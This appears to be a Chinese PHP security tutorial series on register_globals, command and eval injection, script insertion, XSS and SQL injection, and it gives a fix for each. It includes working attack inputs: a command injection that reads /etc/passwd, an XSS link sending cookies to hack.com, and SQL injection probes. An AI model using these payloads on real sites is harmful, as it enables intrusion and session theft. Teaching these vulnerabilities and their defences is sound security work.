針對 PHP 的網站主要存在下面幾種攻擊方式: 1、命令注入(Command Injection) 二、eval 注入(Eval Injection) 3、客戶端腳本攻擊(Script Insertion) 四、跨網站腳本攻擊(Cross Site Scripting, XSS) 5、SQL 注入攻擊(SQL injection) 六、跨網站請求僞造攻擊(Cross Site Request Forgeries, CSRF) 7、Session 會話劫持(Session Hijacking) 8、Session 固定攻擊(Session Fixation) 9、HTTP 響應拆分攻擊(HTTP Response Splitting) 十、文件上傳漏洞(File Upload Attack) 11、目錄穿越漏洞(Directory Traversal) 12、遠程文件包含攻擊(Remote Inclusion) 13、動態函數注入攻擊(Dynamic Variable Evaluation) 14、URL 攻擊(URL attack) 15、表單提交欺騙攻擊(Spoofed Form Submissions) 16、HTTP 請求欺騙攻擊(Spoofed HTTP Requests) 之後的每期連載,會逐個介紹這些漏洞的原理和防護方法。 幾個重要的 php.ini 選項 Register Globals php>=4.2.0,php.ini 的 register_globals 選項的默認值預設爲 Off,當 register_globals 的設定 爲 On 時,程序能夠接收來自服務器的各類環境變量,包括表單提交的變量,並且因爲 PHP 沒必要事先初始化變量的值,從而致使很大的安全隱患。 例 1: //check_admin()用於檢查當前用戶權限,若是是 admin 設置$is_admin 變量爲 true,而後下面 判斷此變量是否爲 true,而後執行管理的一些操做 //ex1.php <?php if (check_admin()) { $is_admin = true; } if ($is_admin) { do_something(); } ?> 這一段代碼沒有將$is_admin 事先初始化爲 Flase,若是 register_globals 爲 On,那麼咱們直 接提交 http://www.sectop.com/ex1.php?is_admin=true,就能夠繞過 check_admin()的驗證 例 2: //ex2.php <?php if (isset($_SESSION["username"])) { do_something(); } else { echo "您還沒有登陸!"; } ?> 當 register_globals=On 時 , 我 們 提 交 http://www.sectop.com/ex2.php?_SESSION[username]=dodo,就具備了此用戶的權限 因此無論 register_globals 爲何,咱們都要記住,對於任何傳輸的數據要通過仔細驗證,變 量要初始化 safe_mode 安全模式,PHP 用來限制文檔的存取、限制環境變量的存取,控制外部程序的執行。啓用 安全模式必須設置 php.ini 中的 safe_mode = On 1、限制文件存取 safe_mode_include_dir = "/path1:/path2:/path3" 不一樣的文件夾用冒號隔開 2、限制環境變量的存取 safe_mode_allowed_env_vars = string 指定 PHP 程序能夠改變的環境變量的前綴,如:safe_mode_allowed_env_vars = PHP_ ,當這個 選項的值爲空時,那麼 php 能夠改變任何環境變量 safe_mode_protected_env_vars = string 用來指定 php 程序不可改變的環境變量的前綴 3、限制外部程序的執行 safe_mode_exec_dir = string 此選項指定的文件夾路徑影響 system、exec、popen、passthru,不影響 shell_exec 和「` `」。 disable_functions = string 不一樣的函數名稱用逗號隔開,此選項不受安全模式影響 magic quotes 用來讓 php 程序的輸入信息自動轉義,全部的單引號(「'」),雙引號(「"」),反斜槓(「\」)和空字 符(NULL),都自動被加上反斜槓進行轉義 magic_quotes_gpc = On 用來設置 magic quotes 爲 On,它會影響 HTTP 請求的數據(GET、 POST、Cookies) 程序員也可使用 addslashes 來轉義提交的 HTTP 請求數據,或者用 stripslashes 來刪除轉義 PHP 漏洞全解(二)-命令注入攻擊 命令注入攻擊 PHP 中可使用下列 5 個函數來執行外部的應用程序或函數 system、exec、passthru、shell_exec、``(與 shell_exec 功能相同) 函數原型 string system(string command, int &return_var) command 要執行的命令 return_var 存放執行命令的執行後的狀態值 string exec (string command, array &output, int &return_var) command 要執行的命令 output 得到執行命令輸出的每一行字符串 return_var 存放執行命令後的狀態值 void passthru (string command, int &return_var) command 要執行的命令 return_var 存放執行命令後的狀態值 string shell_exec (string command) command 要執行的命令 漏洞實例 例 1: //ex1.php <?php $dir = $_GET["dir"]; if (isset($dir)) { echo "<pre>"; system("ls -al ".$dir); echo "</pre>"; } ?> 咱們提交 http://www.sectop.com/ex1.php?dir=| cat /etc/passwd 提交之後,命令變成了 system("ls -al | cat /etc/passwd"); eval 注入攻擊 eval 函數將輸入的字符串參數看成 PHP 程序代碼來執行 函數原型: mixed eval(string code_str) //eval 注入通常發生在攻擊者能控制輸入的字符串的時候 //ex2.php <?php $var = "var"; if (isset($_GET["arg"])) { $arg = $_GET["arg"]; eval("\$var = $arg;"); echo "\$var =".$var; } ?> 當咱們提交 http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就產生了 動態函數 <?php func A() { dosomething(); } func B() { dosomething(); } if (isset($_GET["func"])) { $myfunc = $_GET["func"]; echo $myfunc(); } ?> 程 序 員 原 意 是 想 動 態 調 用 A 和 B 函 數 , 那 我 們 提 交 http://www.sectop.com/ex.php?func=phpinfo 漏洞產生 防範方法 一、儘可能不要執行外部命令 二、使用自定義函數或函數庫來替代外部命令的功能 三、使用 escapeshellarg 函數來處理命令參數 四、使用 safe_mode_exec_dir 指定可執行文件的路徑 esacpeshellarg 函數會將任何引發參數或命令結束的字符轉義,單引號「'」,替換成「\'」,雙引 號「"」,替換成「\"」,分號「;」替換成「\;」 用 safe_mode_exec_dir 指定可執行文件的路徑,能夠把會使用的命令提早放入此路徑內 safe_mode = On safe_mode_exec_di r= /usr/local/php/bin/ PHP 漏洞全解(三)-客戶端腳本植入 客戶端腳本植入(Script Insertion),是指將能夠執行的腳本插入到表單、圖片、動畫或超連接 文字等對象內。當用戶打開這些對象後,攻擊者所植入的腳本就會被執行,進而開始攻擊。 能夠被用做腳本植入的 HTML 標籤通常包括如下幾種: 一、<script>標籤標記的 javascript 和 vbscript 等頁面腳本程序。在<script>標籤內能夠指定 js 程序代碼,也能夠在 src 屬性內指定 js 文件的 URL 路徑 二、<object>標籤標記的對象。這些對象是 java applet、多媒體文件和 ActiveX 控件等。一般 在 data 屬性內指定對象的 URL 路徑 三、<embed>標籤標記的對象。這些對象是多媒體文件,例如:swf 文件。一般在 src 屬性內指 定對象的 URL 路徑 四、<applet>標籤標記的對象。這些對象是 java applet,一般在 codebase 屬性內指定對象的 URL 路徑 五、<form>標籤標記的對象。一般在action 屬性內指定要處理表單數據的 web應用程序的 URL 路徑 客戶端腳本植入的攻擊步驟 一、攻擊者註冊普通用戶後登錄網站 二、打開留言頁面,插入攻擊的 js 代碼 三、其餘用戶登陸網站(包括管理員),瀏覽此留言的內容 四、隱藏在留言內容中的 js 代碼被執行,攻擊成功 實例 數據庫 CREATE TABLE `postmessage` ( `id` int(11) NOT NULL auto_increment, `subject` varchar(60) NOT NULL default '', `name` varchar(40) NOT NULL default '', `email` varchar(25) NOT NULL default '', `question` mediumtext NOT NULL, `postdate` datetime NOT NULL default '0000-00-00 00:00:00', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT=' 使 用 者 的 留 言 ' AUTO_INCREMENT=69 ; //add.php 插入留言 //list.php 留言列表 //show.php 顯示留言 程序和數據庫打包下載地址 點我下載 提交下圖的留言 瀏覽此留言的時候會執行 js 腳本 插入 <script>while(1){windows.open();}</script> 無限彈框 插入<script>location.href="http://www.sectop.com";</script> 跳轉釣魚頁面 或者使用其餘自行構造的 js 代碼進行攻擊 防範的方法 通常使用 htmlspecialchars 函數來將特殊字符轉換成 HTML 編碼 函數原型 string htmlspecialchars (string string, int quote_style, string charset) string 是要編碼的字符串 quote_style 可選 , 值可爲 ENT_COMPAT、ENT_QUOTES 、ENT_NOQUOTES,默認值 ENT_COMPAT,表示只轉換雙引號不轉換單引號。ENT_QUOTES,表示雙引號和單引號都 要轉換。ENT_NOQUOTES,表示雙引號和單引號都不轉換 charset 可選,表示使用的字符集 函數會將下列特殊字符轉換成 html 編碼: & ----> & " ----> " ' ----> ' < ----> < > ----> > 把 show.php 的第 98 行改爲 <?php echo htmlspecialchars(nl2br($row['question']), ENT_QUOTES); ?> 而後再查看插入 js 的漏洞頁面 PHP 漏洞全解(四)-xss 跨站腳本攻擊 XSS(Cross Site Scripting),意爲跨網站腳本攻擊,爲了和樣式表 css(Cascading Style Sheet)區 別,縮寫爲 XSS 跨站腳本主要被攻擊者利用來讀取網站用戶的 cookies 或者其餘我的數據,一旦攻擊者獲得 這些數據,那麼他就能夠假裝成此用戶來登陸網站,得到此用戶的權限。 跨站腳本攻擊的通常步驟: 1、攻擊者以某種方式發送 xss 的 http 連接給目標用戶 2、目標用戶登陸此網站,在登錄期間打開了攻擊者發送的 xss 連接 3、網站執行了此 xss 攻擊腳本 4、目標用戶頁面跳轉到攻擊者的網站,攻擊者取得了目標用戶的信息 5、攻擊者使用目標用戶的信息登陸網站,完成攻擊 當 有 存 在 跨 站 漏 洞 的 程 序 出 現 的 時 候 , 攻 擊 者 可 以 構 造 類 似 http://www.sectop.com/search.php?key=<script>document.location='http://www.hack.com/getcoo kie.php?cookie='+document.cookie;</script> ,誘騙用戶點擊後,能夠獲取用戶 cookies 值 防範方法: 利用 htmlspecialchars 函數將特殊字符轉換成 HTML 編碼 函數原型 string htmlspecialchars (string string, int quote_style, string charset) string 是要編碼的字符串 quote_style 可選 , 值可爲 ENT_COMPAT、ENT_QUOTES 、ENT_NOQUOTES,默認值 ENT_COMPAT,表示只轉換雙引號不轉換單引號。ENT_QUOTES,表示雙引號和單引號都 要轉換。ENT_NOQUOTES,表示雙引號和單引號都不轉換 charset 可選,表示使用的字符集 函數會將下列特殊字符轉換成 html 編碼: & ----> & " ----> " ' ----> ' < ----> < > ----> > $_SERVER["PHP_SELF"]變量的跨站 在某個表單中,若是提交參數給本身,會用這樣的語句 <form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST"> ...... </form> $_SERVER["PHP_SELF"]變量的值爲當前頁面名稱 例: http://www.sectop.com/get.php get.php 中上述的表單 那麼咱們提交 http://www.sectop.com/get.php/"><script>alert(document.cookie);</script> 那麼表單變成 <form action="get.php/"><script>alert(document.cookie);</script>" method="POST"> 跨站腳本被插進去了 防護方法仍是使用 htmlspecialchars 過濾輸出的變量,或者提交給自身文件的表單使用 <form action="" method="post"> 這樣直接避免了$_SERVER["PHP_SELF"]變量被跨站 PHP 漏洞全解(五)-SQL 注入攻擊 SQL 注入攻擊(SQL Injection),是攻擊者在表單中提交精心構造的 sql 語句,改變原來的 sql 語句,若是 web程序沒有對提交的數據通過檢查,那麼就會形成 sql 注入攻擊。 SQL 注入攻擊的通常步驟: 一、攻擊者訪問有 SQL 注入漏洞的網站,尋找注入點 二、攻擊者構造注入語句,注入語句和程序中的 SQL 語句結合生成新的 sql 語句 三、新的 sql 語句被提交到數據庫中進行處理 四、數據庫執行了新的 SQL 語句,引起 SQL 注入攻擊 實例 數據庫 CREATE TABLE `postmessage` ( `id` int(11) NOT NULL auto_increment, `subject` varchar(60) NOT NULL default '', `name` varchar(40) NOT NULL default '', `email` varchar(25) NOT NULL default '', `question` mediumtext NOT NULL, `postdate` datetime NOT NULL default '0000-00-00 00:00:00', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT=' 使 用 者 的 留 言 ' AUTO_INCREMENT=69 ; grant all privileges on ch3.* to 'sectop'@localhost identified by '123456'; //add.php 插入留言 //list.php 留言列表 //show.php 顯示留言 程序和數據庫打包下載地址 點我下載 頁面 http://www.netsos.com.cn/show.php?id=71 可能存在注入點,咱們來測試 http://www.netsos.com.cn/show.php?id=71 and 1=1 返回頁面 提交 http://www.netsos.com.cn/show.php?id=71 and 1=2 返回頁面 一次查詢到記錄,一次沒有,咱們來看看源碼 //show.php 12-15 行 // 執行 mysql 查詢語句 $query = "select * from postmessage where id = ".$_GET["id"]; $result = mysql_query($query) or die("執行 ySQL 查詢語句失敗:" . mysql_error()); 參數 id 傳遞進來後,和前面的字符串結合的 sql 語句放入數據庫進行查詢 提交 and 1=1,語句變成 select * from postmessage where id = 71 and 1=1 這語句前值後值都 爲真,and 之後也爲真,返回查詢到的數據 提交 and 1=2,語句變成 select * from postmessage where id = 71 and 1=2 這語句前值爲真, 後值爲假,and 之後爲假,查詢不到任何數據 正常的 SQL 查詢,通過咱們構造的語句以後,造成了 SQL 注入攻擊。經過這個注入點,我 們還能夠進一步拿到權限,好比說利用 union 讀取管理密碼,讀取數據庫信息,或者用 mysql 的 load_file,into outfile 等函數進一步滲透。 防範方法 整型參數: 使用 intval 函數將數據轉換成整數 函數原型 int intval(mixed var, int base) var 是要轉換成整形的變量 base,可選,是基礎數,默認是 10 浮點型參數: 使用 floatval 或 doubleval 函數分別轉換單精度和雙精度浮點型參數 函數原型 int floatval(mixed var) var 是要轉換的變量 int doubleval(mixed var) var 是要轉換的變量 字符型參數: 使用 addslashes 函數來將單引號「'」轉換成「\'」,雙引號「"」轉換成「\"」,反斜槓「\」轉換成「\\」, NULL 字符加上反斜槓「\」 函數原型 string addslashes (string str) str 是要檢查的字符串 那麼剛纔出現的代碼漏洞,咱們能夠這樣修補 // 執行 mysql 查詢語句 $query = "select * from postmessage where id = ".intval($_GET["id"]); $result = mysql_query($query) or die("執行 ySQL 查詢語句失敗:" . mysql_error()); 若是是字符型,先判斷 magic_quotes_gpc 是否爲 On,當不爲 On 的時候使用 addslashes 轉義 特殊字符 if(get_magic_quotes_gpc()) { $var = $_GET["var"]; } else { $var = addslashes($_GET["var"]); } 再次測試,漏洞已經修補